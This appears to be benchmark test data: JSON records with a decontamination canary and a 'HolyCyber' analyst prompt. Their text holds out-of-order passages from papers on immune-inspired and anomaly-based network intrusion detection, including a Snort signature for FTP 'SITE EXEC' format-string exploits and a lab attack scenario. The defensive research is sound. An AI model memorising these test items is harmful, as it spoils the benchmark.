interaction of various immune system cells with themselves and their environment, the tissue of the host organism. Dendritic cells (DCs), part of the innate immune system, interact with antigen derived from the host tissue and control the state of adaptive immune system cells. Antigen is ingested from the extracellular milieu by DCs in their immature state and then processed internally. During processing, antigen is segmented and attached to ma jor histocompatibility complex (MHC) molecules. This MHCantigen complex is then presented under certain conditions on the surface of the DC. As well as extracting antigen from their surroundings, DCs also have receptors which respond to a range of other signalling molecules in their milieu. Certain molecules, such a lipopolysaccaride, collectively termed pathogen-associated molecular proteins (PAMPs[3]) are common to entire classes of pathogens and bind with toll-like receptors (TLRs) on the surface of DCs. Other groups of molecules, termed danger signals, such as heat shock proteins (HSPs), are associated with damage to host tissue or unregulated, necrotic cell death and bind with receptors on DCs. Other classes of molecules related to inflammation and regulated, apoptotic cell death also interact with receptor families present on the surface of DCs. The current maturation state of the DC is determined through the combination of these complex signalling networks. DCs themselves secrete cell-to-cell signalling molecules called cytokines which control the state of other cell types. The number and strength of DC cytokine output depends on its current maturation state. T-cells, members of the adaptive immune system, have receptors which bind to antigen presented in an MHC-antigen complex on the surface of DCs and respond to the strength of the match between receptor and antigen. This response\n\nis usually a change in the differentiation state of the T-cell. However, this response is not solely determined by antigen, but also by the levels of cytokines sensed by a range of cytokine receptors present on the surface of T-cells. These receptors are specific for cytokines produced by DCs. In summary, DCs uptake and present antigen from the environment to Tcells. Also, DCs uptake signals from the environment and produce signals which are received by T-cells. The ultimate response of a T-cell to an antigen is determined by both the antigen presented by the DC and the signals produced by the DC. Section 3 below describes the implementation of this model in the context of a computer intrusion detection problem.\n\n## 4 Experimental Results\nIn order to test the algorithm it is important to know how greatly the set of candidate packets for novel attack variations can be reduced. We perform a simple experiment to validate the algorithm in this way. We chose to prototype the algorithm inside Firestorm[14], a signature matching IDS which uses the de-facto standard snort[15] signatures. A circa 2000 wu-ftpd[11] exploit called “autowux” is to be our novel variation on the snort “FTP EXPLOIT format string” signature (figure 2). These exploits share the same attack methodology, namely exploiting format string overflows in the File Transfer Protocol (FTP) “SITE EXEC” command.\n\nalert tcp $EXTERNAL NET any -> $HOME NET 21 (msg:‘‘FTP EXPLOIT format string’’; flow:to server,established; content: ‘‘SITE EXEC |25 30 32 30 64 7C 25 2E 66 25 2E 66 7C 0A|’’; depth: 32; nocase;)\n\nFig. 2. Generic snort signature for FTP format string exploits\n\nThe IDS is loaded with a full signature set and is tested to make sure that the autowux exploit packets are not already detected. A contrived attack graph with 3 exploits is also created (see figure 3). An nmap scan is the prerequisite and vulnerability to rootkit installation is the consequence of our “novel” FTP exploit. The attack scenario is successfully played out across an otherwise quiet test network (run #1). The attack contains on the order of three thousand packets and the problem should be fairly simple because in the absence of background noise a high proportion of the packets are part of the FTP attack (975 of them to be precise). To make things more realistic, a second run of the experiment is carried out in which there is background FTP traffic to our vulnerable host. The background traffic is from the Lincoln Labs FTP data-set[16]. The two data sets were merged based on time deltas between packets, the start packets are synchronised. This provides a realistic and repeatable mix of benign and attack traffic (run #2). The table below gives initial results for the prototype implementation based on a number of uncontrolled experiments. Total packets is the total number of\n\nn\n\nFig. 3.

False positive (FP) and false negative (FN) rates are calculated through manual analysis of the output. In this case, there is one true positive in each data set so all candidate output packets that are not true positives are false positives, so the rate is calculated with n−1.\n\nRun #1 is performed on a quiescent network, run #2 is with background traffic as described above.\n\nRun Total Packets Ag Packets Output Packets FP Rate FN Rate #1 3,000 975 18 94% 0% #2 18,000 8,000 30 96% 0% Table 1.

The algorithm incorporates within it existing IDS algorithms, but expands on their capability in a limited area, detection of unknown (or 0-day) attacks which are based on other attacks that are previously known to the IDS. The AIS neatly interfaces with the problem domain by treating internal IDS data structures as an artificial tissue environment. Finally the algorithm was evaluated in terms of how accurately the novel variations can be identified. It should be noted that the results are not directly comparable to other IDS algorithms as the problem being solved is uniquely circumscribed. Rather than designing an anomaly detection algorithm to find previously unknown attacks, a misuse detector and alert correlator are extended to detect a certain kind of anomaly arising from the incomplete models that are invariably used with such algorithms. Initial results are promising despite the high false positive rate. However since the output is already clustered (all packets which were in a given DC are linked together) it means that as long as there is an upper bound on false positives and the false negative rate is low, there will usually be an accurate detection among each such cluster. The DCs in the presented model are able to detect specific anomalous patterns of tissue growth and identify where and when novel attacks are taking place. After a DC has made an initial selection of candidate packets, it is then the responsibility of the T-cells to reduce the number of packets still further by detecting structural similarities in the data. DCs are concerned primarily with detecting abnormal behaviour within their environmental context, whereas Tcells are concerned primarily with discerning patterns within the antigen data. The co-ordination of both types of immune cell with each other and the tissue through orthogonal programming interfaces make for neat and efficient solution. Further investigation in to the T-cell phase of the algorithm should be fruitful. The algorithm presented in this paper is fairly basic and does not incorporate meaningful partial matching which is important for performance and accuracy. A tolerance mechanism might also be useful in integrating the information conveyed by the safe and danger signals to further improve the false positive rate in the difficult cases where malicious traffic differs only slightly from legitimate traffic. Future testing should also incorporate historically problematic attack variations in order to provide a more realistic appraisal of the algorithm. A mechanism for the automated generation of signatures for the novel variations discovered by the algorithm would be ideal. Work such as [17] shows us that this should, in theory, be possible with acceptable precision.\n\n## 16. Berkeley\nLabs Internet Traffic Archive Data Set: LBNL-FTP-PKT. 17. V Yegneswaran, JT Giffin, P Barford, S Jha. “An Architecture for Generating Semantics-Aware Signatures.” Proceedings of USENIX Security Conference, 2005.\n\n## 3 The Algorithm\nFor this purpose the “libtissue” [9, 10] AIS framework, a product of a danger theory pro ject [1], will model a number of innate immune system components such as dendritic cells in order to direct an adaptive T-cell based response. Dendritic cells will carry the responsibility of discerning dangerous and safe contexts as well as carrying out their role of presenting antigen and signals to a population of T-cells as in [4].\n\nTissue and Dendritic Cells Dendritic cells (henceforth DCs) are of a class of cells in the immune system known as antigen presenting cells. They differ from other cells in this class in that this is their sole discernible function. As well as being able to absorb and present antigenic material DCs are also well adapted to detecting a set of endogenous and exogenous signals which arise in the tissue (IDS correlation graph). These biological signals are abstracted in our system under the following designations:\n\n1. Safe: Indicates a safe context for developing toleration.\n\n## 2. Danger: Indicates a change in behaviour that could be considered patholog-\nical. 3. Pathogen Associated Molecular Pattern (PAMP)[3]: Known to be dangerous. In our system a distinction is made between activation by endogenous danger signals or through TLR receptors.\n\nAll of these environmental circumstances, or inputs, are factors in the life cycle of the DC. In the proposed system, DCs are seen as living among the IDS environment. This is achieved by wiring up their environmental inputs to changes in the IDS output state. A population of DCs are tied to the prediction vertices in the correlation graph, one DC for each predicted attack. Packets matching the prediction criteria of such a vertex are collected as antigen by the corresponding DC. These packets are either stored in memory or logged to disk until the DC matures and is required to present the antigen to a T-cell. Once a prediction vertex has been added to the correlation graph, the arrival of subsequent alerts can cause that vertex to either be upgraded to an exploit\n\nvertex, changed to a hypothesised vertex, or become redundant as sibling vertices are so modified. These possible state changes will result in either a PAMP, danger or safe signal respectively. These signals initiate maturation and consequent migration of the DC to a virtual lymph node where they are exposed to a population of T-cells. The signal we are most interested in is the PAMP signal, this occurs when a predicted vertex becomes hypothesised. This provides us with a counterfactual hypothesis to test, ie. “suppose a novel a variation of the attack was carried out.” The hypothesis is not unreasonable since:\n\n1. The exploit was predicted already therefore it’s prerequisites are met.\n\n## 2. An exploit which depends on the consequences of the attack was carried out\ntherefore the consequences of the exploit are met.\n\nHowever this is not enough for a proof, since the standard caveats about the accuracy of the model hold. An attacker may, after all, attempt an attack whose preconditions are not met, the attack will fail, but the IDS cannot know.\n\nAntigen Representation An important part of the design of an AIS is the representation of the domain data. A number of choices are available [12, 13]. For this algorithm we chose to use a natural encoding for the problem domain. Network packets are blobs of binary data, each one is decoded by the IDS. The decoding process involves extracting, interpreting and validating the relevant features for the purpose of matching the packet against the signature database. Our proposed algorithm represents each packet as an array of (feature,val) tuples. The array contains a tuple for all possible features and is ordered by feature. Features can be either integers or character strings. Values may be set to wildcards if the corresponding feature is not present in the packet. This approach imposes a total order on the features. Such an order may be based, for example, on position in the packet which in nearly all cases is invariant and defined in protocol specifications. Note that this representation shares structural similarities with the actual signatures used in network IDS’s. The connection is elaborated in the following sub-section.\n\nT-cells By the time a DC in our system has received a PAMP signal, matured, migrated to a lymph node and bound to a T-cell it contains a number of candidate packets (our antigen) and an indication of which signal caused migration. The simple T-cell model outlined in this paper only incorporates DC’s activated by PAMPs. The problem here is to select a subset of packets which may contain the novel variation(s) we are looking for. The inverse of the “f ” function in our correlation algorithm provides a number of candidate signatures which may be used as a starting point. Thus the additional context is used to significantly reduce the search space in this phase of the algorithm.\n\nIn order to find these possible variations, a version of the IDS signature matching algorithm is required which provides meaningful partial matching. Since most signatures entail string searching or regular expression matching this is not a trivial task. For now, it will suffice to simply sum the number of matching criteria in each signature for each packet. If a match is sufficiently close, all the relevant data is output for further analysis. Since most signatures have less than 10 criteria, this may not be effective in all cases, due to the anticipated difficulty in selecting good matching thresholds.\n\nAbstract. Network Intrusion Detection Systems (NIDS) monitor a network with the aim of discerning malicious from benign activity on that network. While a wide range of approaches have met varying levels of success, most IDS’s rely on having access to a database of known attack signatures which are written by security experts. Nowadays, in order to solve problems with false positive alerts, correlation algorithms are used to add additional structure to sequences of IDS alerts. However, such techniques are of no help in discovering novel attacks or variations of known attacks, something the human immune system (HIS) is capable of doing in its own specialised domain. This paper presents a novel immune algorithm for application to an intrusion detection problem. The goal is to discover packets containing novel variations of attacks covered by an existing signature base.\n\n## 1 Introduction\nNetwork intrusion detection systems (NIDS) are usually based on a fairly low level model of network traffic. While this is good for performance it tends to produce results which make sense on a similarly low level which means that a fairly sophisticated knowledge of both networking technology and infiltration techniques is required to understand them. Intrusion alert correlation systems attempt to solve this problem by postprocessing the alert stream from one or many intrusion detection sensors (perhaps even heterogeneous ones). The aim is to augment the somewhat onedimensional alert stream with additional structure. Such structural information clusters alerts in to “scenarios” - sequences of low level alerts corresponding to a single logical threat. A common model for intrusion alert correlation algorithms is that of the attack graph. Attack graphs are directed acyclic graphs (DAGs) that represent the various types of alerts in terms of their prerequisites and consequences. Typically an attack graph is created by an expert from a priori information\n\nabout attacks. The attack graph enables a correlation component to link a given alert with a previous alert by tracking back to find alerts whose consequences imply the current alerts prerequisites. Another feature is that if the correlation algorithm is run in reverse, predictions of future attacks can be obtained. In implementing basic correlation algorithms using attack graphs, it was discovered that the output could be poor when the underlying IDS produced false negative alerts. This could cause scenarios to be split apart as evidence suggestive of a link between two scenarios is missing. This problem has been addressed in various systems [8, 6] by adding the ability to hypothesise the existence of the missing alerts in certain cases. [7] go as far as to use out of band data from a raw audit log of network traffic to help confirm or deny such hypotheses. While the meaning of correlated alerts and predicted alerts is clear, hypothesised results are less easy to interpret. Presence of hypothesised alerts could mean more than just losing an alert, it could mean either of:\n\n## 1. The IDS missed the alert due to some noise, packet loss, or other low level\nsensor problem\n\n## 2. The IDS missed the alert because a novel variation of a known attack was\nused\n\n## 3. The IDS missed the alert, because something not covered by the attack graph\nhappened (totally new exploit, or new combination of known exploits)\n\nThis work is motivated specifically by the problem of finding novel variations of attacks. The basic approach is to apply AIS techniques to detect packets which contain such variations. A correlation algorithm is taken advantage of to provide additional safe/dangerous context signals to the AIS which would enable it to decide which packets to examine. The work aims to integrate a novel AIS component with existing intrusion detection and alert correlation systems in order to gain additional detection capability."}]} {"id": "4e72f6f38aa7f0ed", "row_key": "detection_engineering:paper:1211.4493v2:detection_engineering:detection_strategy:1", "domain": "detection_engineering", "subdomain": "detection_strategy", "task_type": "detection_engineering", "difficulty": "advanced", "group_key": "paper:1211.4493v2", "source": "arxiv-corpus", "license": "arXiv perpetual non-exclusive licence", "split": "test", "canary": "BENCHMARK DATA SHOULD NEVER APPEAR AS TRAINING DATA: HOLYCYBER-DECONTAM-CANARY-9f2c7a14", "tokens": {"user": 122, "assistant": 2070, "total": 2192}, "core_share": 1.0, "appendix": false, "references": ["https://arxiv.org/abs/v2"], "messages": [{"role": "system", "content": "You are HolyCyber, a senior cybersecurity analyst and engineer.

There are still many problems in anomaly detection approaches. Some issues in anomaly detection are discussed below.\n\na) Types of Anomalies: The purpose of anomaly detection is to find anomalies in various application domains. An anomalous MRI image may indicate presence of malignant tumors [17]. Anomalies in credit card transaction data may indicate credit card or identity theft [18]. Anomalous readings from a spacecraft sensor can signify a fault in some component of the spacecraft [19]. Detection of anomalies or outliers were discussed as early as in the 9th century [20]. Anomalies are classified into three categories based on [5].\n\n• Point anomalies: An individual data instance may be anomalous with respect to the rest of the data. • Contextual anomalies: A data instance may be anomalous in a specific context with respect to a condition [21]. Two sets of attributes are normally used to detect this type of anomalies: (a) contextual attributes and (b) behavioral attributes. However, Song et al. [21] use the terms environmental and indicator attributes respectively against a context. Contextual attributes determine the context or neighborhood of an instance. Behavioral attributes are responsible for the non-contextual characteristics of an instance. In known point anomaly detection techniques, identifying a context and computing anomaly score for each test data instance are generic steps.\n\nTo detect these anomalies, Song et al. [21] propose a model which is based on contextual and behavioral attributes. The authors assume that the attributes are pre-partitioned. Each test data instance d is represented as (x, y). U is the contextual data instance, which is partitioned by using Gaussian Mixture Model (GMM). V is the behavioral data instance, which is also partitioned by using another Gaussian Mixture Model (GMM). P (Vj | Ui) is a mapping function indicates that the probability of the indicator part of data point y to be generated from Vj, whereas the environmental part x is generated by using Ui. Thus the anomaly score, ASd for a given test data instance d = (x, y) is given by-\n\n∑ ∑ = = ∈ ∈ U V n i n j i j j i d U V p V y p U x p AS 1 1) | ( where nU is the number of mixture components in U and nV is the number of mixture components in V. p(x∈Ui) is the probability of a sample point x to be\n\n229\n\ngenerated from the mixture component Ui while p(y∈ Vj) is the probability of a sample point y to be generated from the mixture component Vj.\n\n• Collective anomalies: Sometimes, it is not a single data point that is anomalous, but it is a collection of related data instances that is anomalous with respect to the entire dataset. It is worth mentioning that unlike point anomalies, detection of collective anomalies requires identifying related anomalous points in a dataset. To detect contextual anomalies, one needs to identify the appropriate contextual or behavioral attributes in the data.\n\nb) Data Labels: Labeling a data instance as normal or anomalous based on its behavior is often prohibitively expensive. A human expert often does labeling manually and hence it requires substantial effort to obtain the labeled training dataset. Typically, getting a labeled set of anomalous data instances covering all possible types of anomalous behavior is more difficult than getting labeled data for normal behavior.\n\nc) Reporting of anomalies: An important aspect for any anomaly detection technique is the way it reports anomalies. Typically, the outputs produced by anomaly detection techniques are one of the following two types.\n\n• Scores: An anomaly score is assigned to each instance in the test data depending on the degree to which that instance is considered an anomaly. Usually, the output of such a technique is a ranked list of anomalies. An analyst may choose to either analyze the top few anomalies or use a threshold to select anomalies for further investigation [22]. • Labels: A label (normal or anomalous) is assigned to each test instance. Scoring based anomaly detection techniques allow the analyst to use a domain specific threshold to select the most relevant anomalies. Generally, an IDS uses clustering techniques for grouping activities. It merely classifies the data, without any interpretation of the data. A classical labelling strategy is to measure the cardinality of the clusters, and label some percentage of the smallest clusters as malicious. This approach does, however, have some limitations, and does not detect massive attacks [23] properly, e.g. Denial-of-Service attacks. Dunn's index [24] or C-index [25] are well suited for clustering quality evaluation indices. A hallmark of good clustering quality is compact clusters distant from each other. Dunn's index (D) is defined as the ratio between the minimal intra-cluster distances dmin to maximal inter-cluster distance dmax, i.e., dmin / dmax. D is limited to the interval [0, 1] and should be maximized for good clustering. On the other hand, Cindex (C) is defined in terms S, i.e., the sum of distances over all pairs of objects in the same cluster. Let n be the number of such object pairs, and Smin be the sum of the n smallest distances if all pairs of objects are considered. Likewise, let Smax be the sum of the n largest distances out of all pairs. Then C is computed as (S - Smin) / (S - Smax). C is restricted to the interval [0, 1] as well and should be minimized for good clustering. D measures only two distances whereas C requires clusters of equal cardinality to produce proper quality evaluations.\n\nd) Matching: Matching is the most important functional module in the incremental anomaly based intrusion detection architecture. Generally, it can be done either, by using a distance based approach, or, by a density based approach, or by a combination of the both. In a distance based approach, the proximity measure plays a vital role as in classification, clustering, and information retrieval. From scientific and mathematical points of view, distance is defined as a quantitative degree of how far apart two objects are [26]. A synonym for distance is dissimilarity. Distance measures satisfying metric properties are simply called metric while other non-metric distance measures are occasionally called divergence. A synonym for similarity is proximity. Similarity measures are often called similarity coefficients. The choice of distance or similarity measures depends on the measurement type for the object's attributes or the representation of objects. However, proximity-based approaches typically take O(n2) matching time. On the other hand, a density based approach attempts to match by using the nearest neighbour concept. It is closely related to the proximity based approach since density is defined in terms of proximity. One common approach is to define density as the reciprocal of the average distance to the k-nearest neighbours [27]. If the distance is small, the density is high, and vice versa. Anomalies in the test data are usually found in the low density areas. If the density is high, the occurrence of anomalies is low and vice versa. However, it takes O(n2) time for matching. It can be reduce up to O(nlogn) by using appropriate data structures.\n\n## 4.3 Semi-supervised Approaches\nIn semi-supervised approach, the training data instances belong to the normal class only. Data instances are not labeled for the attack class. There are many approaches used to build the model for the class corresponding to normal behavior. This model is used to identify anomalies in the test data. Some of the detection methods are discussed in the following.\n\n1) Burbeck et al. [31]: ADWICE (Anomaly Detection With fast Incremental Clustering) uses the first phase of the BIRCH clustering framework [32] to implement fast, scalable and adaptive anomaly detection. It extends the original clustering algorithm and applies the resulting detection mechanism for analysis of data from IP networks. The performance is demonstrated on the KDD99 intrusion dataset as well as on data from a test network at a telecom company. Their experiments show good detection quality (95%) and acceptable false positives rate (2.8 %) considering the online, real-time characteristics of the algorithm. The number of alarms is further reduced by application of the aggregation techniques implemented in the Safeguard architecture1. 2) Rasoulifard et al. [33]: It is important to increase the detection rate for known intrusions and also to detect unknown intrusions at the same time. It is also important to incrementally learn new unknown intrusions. Most current intrusion detection systems employ either misuse detection or anomaly detection. In order to employ these techniques effectively, the authors propose an incremental hybrid intrusion detection system. This framework combines incremental misuse detection and incremental anomaly detection. The framework can learn new classes of intrusion that do not exist in data used for training. The framework has low computational complexity, and so it is suitable for real-time or on-line learning. The authors use the KDDcup99 intrusion dataset to establish this method. 3) Kalle et al. [34]: Anomaly detection is very expensive in real-time. First, to deal with massive data volumes, one needs to have efficient data structures and indexing mechanisms. Second, the dynamic nature of today’s information networks makes the characterization of normal requests and services difficult. What is considered normal during some time interval may be classified as abnormal in a new context, and vice versa. These factors make many proposed data mining techniques less suitable for realtime intrusion detection. The authors look at the shortcomings of ADWICE and propose a new grid index that improves detection performance while preserving efficiency in search. Moreover, they propose two mechanisms for adaptive evolution of the normality model: incremental extension with new elements of normal behavior, and a new feature that enables forgetting of outdated elements of normal behavior. It evaluates the technique for network-based intrusion detection using the KDD99 intrusion dataset as well as on data from a telecom IP test network. The experiments yield good detection quality and act as proof-of-concept for adaptation of normality."}]} {"id": "053889a37fdf25b8", "row_key": "detection_engineering:paper:1211.4493v2:detection_engineering:detection_strategy:2", "domain": "detection_engineering", "subdomain": "detection_strategy", "task_type": "detection_engineering", "difficulty": "advanced", "group_key": "paper:1211.4493v2", "source": "arxiv-corpus", "license": "arXiv perpetual non-exclusive licence", "split": "test", "canary": "BENCHMARK DATA SHOULD NEVER APPEAR AS TRAINING DATA: HOLYCYBER-DECONTAM-CANARY-9f2c7a14", "tokens": {"user": 147, "assistant": 2060, "total": 2207}, "core_share": 1.0, "appendix": false, "references": ["https://arxiv.org/abs/v2"], "messages": [{"role": "system", "content": "You are HolyCyber, a senior cybersecurity analyst and engineer.

These techniques make the implicit assumption that normal instances are far more frequent than anomalies in the test data. If this assumption is not true, such techniques suffer from high false alarm. Most existing unsupervised anomaly detection approaches are clustering based. Clustering is a technique to group similar objects. It deals with finding structure in a collection of unlabeled data. Representing the data by fewer clusters necessarily leads to the loss of certain finer details, but achieves simplification. In anomaly detection, clustering plays a vital role in analyzing the data by identifying various groups as either belonging to normal or to anomalous categories. There are many different clustering based anomaly detection approaches in the literature. Most commonly used clustering techniques are: partitioningbased (e.g., Zhong et al. [35]), hierarchical (e.g., Hsu et al. [36], Burbeck et al. [31], Kalle et al. [34]), density-based (e.g., Ren et al. [30]), and grid-based techniques. These techniques are discussed in the following in brief.\n\n1) Hsu et al. [36]: Adaptive resonance theory network (ART) is a popular unsupervised neural network approach. Type I adaptive resonance theory network (ART1) deals with binary numerical data, whereas type II adaptive resonance theory network (ART2) deals with general numerical data. Several information systems collect mixed type attributes, which include numeric attributes and categorical attributes. However, both ART1 and ART2 do not deal with mixed type data. If the categorical attributes are transferred to binary data format, the binary data do not reflect reality with the same fidelity. It ultimately influences clustering quality. The authors present a modified adaptive resonance theory network (M-ART) and a 1Safeguard: The safeguard project, (online)\n\n232\n\nconceptual hierarchy tree to solve the problem of clustering with mixed data. They show that the M- ART algorithm can process mixed type data well and has a positive effect on clustering. 2) Zhong et al. [35]: This paper presents an incremental clustering algorithm for intrusion detection using clonal selection based on a partitioning approach. It partitions the dataset into initial clusters by comparing the distance from data to cluster centroid with the size of cluster radius, and analyzes the clustering data with mixed attributes by using an improved definition of distance measure. The objective function optimizes clustering results by applying a clonal selection algorithm [37], and then labels clusters as normal or anomalous as appropriate. The authors try to find better cluster centroids to improve the partitioning quality which is evaluated by the objective function. If the value of objective function is small, the sum of the distances from data to the cluster centers is also small and the objects in the same cluster are more close to each other. The method attempts to optimize cluster results from one iteration to the next using the clonal selection algorithm [37]. The authors establish this incremental technique in terms of high detection rate and low false positive rate.\n\n## 4.5 Discussion\nBased on this short and selective survey of incremental techniques for anomaly detection, we make the following observations.\n\n• Most incremental anomaly detection techniques have been benchmarked by using KDDcup99 intrusion dataset; hence, they cannot claim to be truly up-todate. It is an offline dataset. The KDDcup99 intrusion datasets have been already established to be biased considering the presence of normal and attack data in unrealistic proportions [22]. So, the approaches need to be tested over real time intrusion dataset. • Performances of these techniques are not great in terms of detection rates. Of the existing techniques, ADWICE grid [34] has the highest detection rate, and Hybrid IDS [33] has the lowest detection rate as shown in Table 2. However, the techniques were tested with offline dataset only. • Most techniques [36][35][31][34][30] use clustering for anomaly detection as shown in Table 1, although other techniques are also used. Clustering is popular because it is easy to create profiles based on the clusters. Most techniques use Euclidean distance as the proximity measure. The detection rates fairly high. • We observe that most techniques are non-real time and use distance or cluster based features for profile generation, though there are a few real time systems [29][31][34] as claimed by the authors. • We have identified pros and cons of each approach with performance in terms of detection rate and false positive rate these are seen in Table 2.\n\n## 4.6 Validity Measures\nThe performance of any ANIDS is highly dependent upon (i) its individual configuration, (ii) the network it is monitoring and (iii) its position within that network [38]. Simply benchmarking an ANIDS once in a certain environment does not provide a definitive method for assessing it in a given situation. A number of metrics [38] are used to assess the suitability of a given ANIDS for a particular situation or environment. Some of these are discussed next. • Ability to identify attacks: The main performance requirement of an ANIDS is to detect intrusions. In particular, many vendors and researchers appear to consider any attempt to place malicious traffic on the network as an intrusion. In reality a more useful system will log malicious traffic and only inform the operator if the traffic poses a serious threat to the security of the target host. • Known vulnerabilities and attacks: All ANIDSs should be capable of detecting known vulnerabilities. However research indicates that many commercial IDSs fail to detect recently discovered attacks. On the other hand if a vulnerability or attack becomes known, all systems should be patched; otherwise, it should be applied so that the need for an ANIDS to detect these events is obviated. • Unknown attacks: Detecting unknown attacks must be the most important feature of any ANIDS. Only the ability of an ANIDS to detect attacks that are not yet known justifies expenses of its implementation and deployment. New vulnerabilities are being discovered every day and being able to detect known attacks is no longer enough. • Stability, Reliability and Security: An ANIDS should be able to continue operating consistently in all circumstances. The application and the operating system should ideally be capable of running for months, even years without segmentation faults or memory leakage. An important requirement imposed on an ANIDS is the ability to consistently report identical events in the same manner. The system should also be able to withstand attempts to compromise it. The ability of an attacker to identify an ANIDS on a network can be extremely valuable to the attacker. The attacker may then attempt to disable the ANIDS using DoS or DDoS techniques. The ANIDS system should be able to withstand all of these types of attack. • Identifying target and source: An alert raised after detecting an anomaly should also identify the source of the threat and the exact identity of the target system. Additional information from whois or DNS lookup on an IP address should also be obtained, if necessary. • Outcome of attack: Another useful feature of an ANIDS should be to determine the outcome of an attack (success or failure). In most cases, an alert simply indicates that an attempt to intrude has been made. It is then the responsibility of the analyst to search for correlated activities to determine the outcome of the attack. If an ANIDS were to present the analyst with a list of other alerts generated by the target host, and a summary of other (non-alert) traffic, the evaluation of the outcome can be greatly accelerated.\n\n233\n\n• Legality of data collected: The legality of the data collected by an ANIDS is of extreme importance if any legal activity may be pursued against the attacker. A disturbingly large number of systems do not collect the actual network packets; instead they simply record their own interpretation of events. A more robust system must capture and store network traffic in addition to simply raising the alert. • Signature updates: An ANIDS should have the ability to detect new types of intrusions and effectively update signatures dynamically.

Evaluation Datasets\nResearchers use various datasets for testing and evaluating different anomaly detection methods. It is very difficult to evaluate an anomaly detection system based on live network traffic or any raw network traffic. That is why some benchmark datasets are used for evaluating an anomaly detection system. Some of these are discussed in brief."}]} {"id": "c23bc79439f54211", "row_key": "detection_engineering:paper:1211.4493v2:detection_engineering:detection_strategy:3", "domain": "detection_engineering", "subdomain": "detection_strategy", "task_type": "detection_engineering", "difficulty": "advanced", "group_key": "paper:1211.4493v2", "source": "arxiv-corpus", "license": "arXiv perpetual non-exclusive licence", "split": "test", "canary": "BENCHMARK DATA SHOULD NEVER APPEAR AS TRAINING DATA: HOLYCYBER-DECONTAM-CANARY-9f2c7a14", "tokens": {"user": 187, "assistant": 2092, "total": 2279}, "core_share": 1.0, "appendix": false, "references": ["https://arxiv.org/abs/v2"], "messages": [{"role": "system", "content": "You are HolyCyber, a senior cybersecurity analyst and engineer.

To perform this evaluation, the Lab generated the DARPA training and testing datasets. Both datasets contain attacks and\n\n## background\ntraffic. In 1999, the KDDCup competition used a subset of the preprocessed DARPA training and test data supplied by Solvo and Lee [40], the principal researchers for the DARPA evaluation. The raw training data was about four gigabytes of compressed binary tcpdump2 data from seven weeks of network traffic. This was processed into about five million connection records. The dataset is known as the KDD99 dataset and a summary of it is reported in Table 7 [41][42][43]. There are four main types of attacks: denial of service, remoteto-local, user-to-root, and surveillance or probing. Background traffic is simulated and the attacks are all known. The training set, consisting of seven weeks of labeled data, is available to the developers of intrusion detection systems. The testing set also consists of simulated background traffic and known attacks, including some attacks that are not present in the training set. We discuss the four categories of attack patterns in details next.\n\n## 5.1.1 Denial of service attacks\nThis class of attacks makes some computing or memory resource too busy or too full to handle legitimate requests. Thus legitimate users' access are denied. There are several ways to launch DoS attacks such as: by abusing the computers' legitimate features, by targeting the implementations bugs, by exploiting the system’s misconfigurations. It is classified based on the services that an attacker renders unavailable to legitimate users. Some of the popular DoS attacks with characteristics are shown in Table 3.\n\n## 5.1.2 Probing attacks\nProbing is a class of attacks, where an attacker scans a network to gather information or find known vulnerabilities or finds the weaknesses of the machines. An attacker tries to exploit the attacks, when weaknesses of one or more machines have been found. There are different types of probe attacks. Some of them abuse a computer’s legitimate features, some of them use social engineering techniques, and some of them use weaknesses 2(online)\n\n234\n\nof the machine. A set of probe attacks are shown in Table 4.\n\n## 5.1.3 User to root attacks\nIn user to root exploits, the attacker starts out with access to a normal user account on the system and is able to exploit vulnerability to gain root access to the system. Most common exploits in this class of attacks are regular buffer overflows, which are caused by regular programming mistakes and environment assumptions. Following are the list of user to root attacks (refer to Table 5). Table 2. Pros and Cons of the methods\n\n## Summary\nPerformance\n\n## approach\nin two possible scenarios: (i) learning with limited resources and (ii) active learning. They claim that it performs in constant running time during learning as well as prediction. • Too many input parameters. - - Density-based [30] • Reduces the cost of re-clustering and profile updating and claims to achieve higher accuracy than ADWICE. • In parameter level, it does not make any improvement. • Lack of performance results over larger datasets. - -\n\nEoHMMs [52] • On synthetic and real-world HIDS datasets, achieves higher detection accuracy when single best HMM are estimated at each learning stage. • Not explored the dynamic selection of the best classifiers, decision threshold, Boolean fusion function during the operations. - -\n\nRS-ISVM [56] • Reduces the training time as well as prediction time. • Performs better than the simple SVM in terms of detection rate and false positive rate. • Performance is poor in case of U2R and R2L attacks. • It needs to reduce the number of parameters during training phase. 89.17 4.9\n\niECT [53] • Capable to update the eigenvectors and eigenvalues of the graph Laplacian matrix incrementally. • Capable to estimate CTD in constant time incrementally using the property of random walk and hitting time. • iECT is faster than iLED but it can only be used in case where a new test point is added and cannot be used when there are weigh updates in the graph. • They take only a small subset of datasets for testing. - - ADWICE TRD [31] • Performs better on KDDcup99, DARPA98 and safeguard framework datasets. • ADWICE-TRD explores the BIRCH cluster features for tree formation but it is not feasible in network anomaly detection. 95 2.8 Hybrid IDS [33] • Capable to detect unknown attacks i.e., the instance of attacks are not used in training. • They use only DARPA98 dataset. Hence, it needs to be tested over real-life network intrusion datasets. 92.63 1.8 ADWICE Grid [34] • Performs better than ADWICE-TRD and ADWICE-TRR in terms of detection rate and false alarm rate on real world datasets in safeguard testbed. • They claim that their approach adaptively updates the normal profiles but it is important that the profiles need to be updated based on the different network scenarios. 97.2 1.8\n\nM-ART [36] • Can work well where both numeric and categorical data are available. • Performs well in terms of detection rate on synthetic and real world UCI datasets. • Not tested on high dimensional large datasets. • Does not work well where it contains only in numeric data values. 95 2.8 Clonal Selection [35] • Capable to work in mixed type datasets based their modified objective function. • Performs well in terms of detection rate and false positive rate. • May not work well in real-time scenarios. 98.3 1.8\n\n## 5.5 NetFlow Datasets\nNetFlow is used to perform traffic analysis. NetFlow data is aggregated flow level data captured at the router level in online mode. The use of NetFlow data for highspeed traffic analysis is quite important and needed to detect attacks or anomalies from high speed network [47]. However, the use of NetFlow comes at the cost that the packets have been stripped of their content. As Sir Francis Bacon once said: \"Knowledge is power\" [48]. With this loss of the packet content, some attacks will be impossible to find, because in those cases only the packet content contains relevant information. Still, there is ample scope for detecting attacks or anomalies in high speed network. Flows are identified uniquely by characteristics of the traffic that they represent, including the source and destination IP (Internet Protocol) address, IP type, source and destination TCP or UDP (user datagram protocol) ports, type of service and a few other items [47]. NetFlow records are sent to the logging host in the following cases. • For flow representing TCP traffic, when the connection is completed (after a RST or FIN is seen). • When no traffic for the flow has been seen in 15 seconds. • 30 minutes after the start of the flow. This causes long lasting traffic patterns to show up sooner than they might otherwise in the log. • When the flow table fills and meets conditions.\n\n3\n\n236\n\nTable 7.

